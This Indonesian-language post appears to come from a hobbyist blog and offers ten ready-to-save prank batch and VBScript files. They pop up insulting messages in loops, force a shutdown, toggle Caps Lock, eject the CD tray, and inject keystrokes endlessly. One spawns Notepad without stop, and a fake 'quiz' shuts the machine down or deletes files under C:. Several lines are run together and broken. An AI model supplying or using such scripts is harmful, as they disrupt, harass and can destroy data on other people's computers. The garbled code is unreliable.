Hakunamatata

1.message yang nongol melulu

code :

@ECHO off:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cupu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT(ekstensi filenya harus .BAT)
2.bikin shutdown+messageCode:
[i]@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
save namafile.BAT[/i](ekstensi filenya harus .BAT)

3.Mainin Caps Lock button
Code:
[i]Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
save namafile.vbs[/i]
(save dengan Ekstensi file .vbs)

4.buka tutup CD/DVD[i]Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollectiondo
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs[/i]

5.bikin vbscript nongol mlulu
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
save namafile.vbs
ket:di task manager full wscript yg lg running
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6.teken tombol backspace mlulu
Code:
[i]MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
save namafile.vbs
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7.otomatis ngetik “lu jelek banget sih” di notepad/wordCode:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “lu jelek banget sih!!!”
loop
save namafile.vbs
8.buka notepad trus menerusCode:
@ECHO off:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.
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9.otomatis buka notepad lalu ngetik apa yg lo mau
Code:
[i]WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “
save namafile.vbs
ket:
ini salah satu script favorit gw…
[/i][i]10.@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxxif %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar@ECHO off:top
START %SystemRoot%\system32\notepad.exe
GOTO top[/i]